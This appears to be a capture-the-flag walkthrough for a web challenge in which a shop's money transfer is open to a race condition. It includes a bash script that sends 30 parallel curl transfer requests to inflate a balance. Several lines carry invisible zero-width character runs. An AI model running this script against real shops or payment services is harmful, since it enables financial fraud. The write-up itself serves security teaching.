Race Shop

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: parallel_http_requests, race_condition_exploitation, toctou_attack

Summary

Walkthrough of the CUSTOM Web Race Shop. An online shop with a race condition vulnerability. The shop allows users to transfer money and purchase items, including an expensive "flag" item.

Description

An online shop with a race condition vulnerability. The shop allows users to transfer money and purchase items, including an expensive "flag" item.

URL: https://2019-11-17-shop.ctf.su/

Analysis

The shop has a money transfer feature that is vulnerable to TOCTOU (Time-of-check to Time-of-use) race condition. The vulnerability exists because:

1. The balance check happens before any deduction is applied
2. Multiple parallel requests can pass the balance check simultaneously
3. All requests then proceed to deduct/transfer money, resulting in more money being transferred than available ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is a classic race condition pattern in financial applications where the check and update operations are not atomic.

Solution

Step 1: Register an account

Create a new account on the shop to get initial balance.

Step 2: Identify the vulnerable endpoint

The money transfer endpoint allows transferring balance between accounts. The vulnerability is in the non-atomic balance check.

Step 3: Exploit with parallel requests

Send many parallel transfer requests to exploit the race condition: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
#!/bin/bash
# Race condition exploit for money transfer
# Send 30 parallel requests simultaneously

TARGET_URL="https://2019-11-17-shop.ctf.su/transfer"
COOKIE="session=YOUR_SESSION_COOKIE"
AMOUNT=100
RECIPIENT="attacker_account"

# Send 30 parallel requests
for i in {1..30}; do
    curl -s -X POST "$TARGET_URL" \
        -H "Cookie: $COOKIE" \
        -d "amount=$AMOUNT&to=$RECIPIENT" &
done

# Wait for all requests to complete
wait

echo "Race condition exploit completed"

Step 4: Purchase the flag

With the inflated balance from the race condition, purchase the expensive "flag" item from the shop. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering parallel_http_requests, race_condition_exploitation, toctou_attack was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2019-11-17 • CUSTOM • Race Shop • Difficulty: Easy